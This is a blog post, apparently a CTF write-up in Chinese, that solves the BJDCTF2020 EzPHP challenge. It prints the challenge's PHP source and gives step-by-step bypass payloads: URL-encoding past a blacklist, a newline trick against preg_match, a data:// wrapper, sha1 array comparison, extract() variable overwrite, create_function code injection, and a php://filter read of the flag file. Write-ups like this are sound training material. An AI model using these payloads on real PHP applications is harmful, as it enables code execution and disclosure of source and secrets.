0
点赞
收藏
分享

微信扫一扫

[BJDCTF2020]EzPHP

李雨喵 2022-04-03 阅读 45
知识点:

给他base32解码一下。1nD3x.php
在这里插入图片描述
得到源码:

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

第一层:

$_SERVER['QUERY_STRING']不会自动urldecode,但是_GET会自动解码,也就是说,我们可以把我们要传的东西进行url编码。

在这里插入图片描述

第二层

preg_match('/^aqua_is_cute$/',可以再末尾加上一个%0a,也就是换行,因为此preg_match不是多行匹配模式,多以再解析时会忽略换行也会返回true,但是换行字符却存在,所以后面的!==也就不相等了。
在这里插入图片描述

第三层

$_REQUEST再同时得到$_GET$_POST时,会优先解析$_POST,也就是说我们再上传GET参数的时候,同时上传post参数就可以了。
在这里插入图片描述

第四层

这里可以用data伪协议来绕过。也就是data://text/plain,debu_debu_aqua
在这里插入图片描述

第五层

sha1加密和MD5加密一样,都不能处理数组,并返回null,所以我们上传两个数组,就可以了。
shana[]=1$passwd[]=2

在这里插入图片描述

第六层

code和arg可以通过extract来覆盖flag[code] flag[arg]
在这里插入图片描述
create_function() 类似于 python 中的 lambda,但是只会定义函数不会执行。

create_function('$imagin','echo $imagin');

// 上面的代码等同于下面的

function whatever($imagin){ echo $imagin; }
为了能够执行 php 命令,我们需要从 create_function 中逃逸出来,类似于 sql 注入,我们可以强行先闭合大括号然后再注释掉后面原本的大括号,中间的代码就可以执行了。

$imagin = "} phpinfo(); //";
function whatever($imagin){ echo $imagin; }

// 上面的代码等同于下面的

function whatever(){ echo } phpinfo(); //; }

所以可以构造:查看所有已经定义变量。
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
然后可以:
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

在这里插入图片描述

参考:
http://www.manongjc.com/detail/16-ztpysexblpytizt.html
https://www.cnblogs.com/rabbittt/p/13323155.html#bjdctf2020ezphp

举报

相关推荐

0 条评论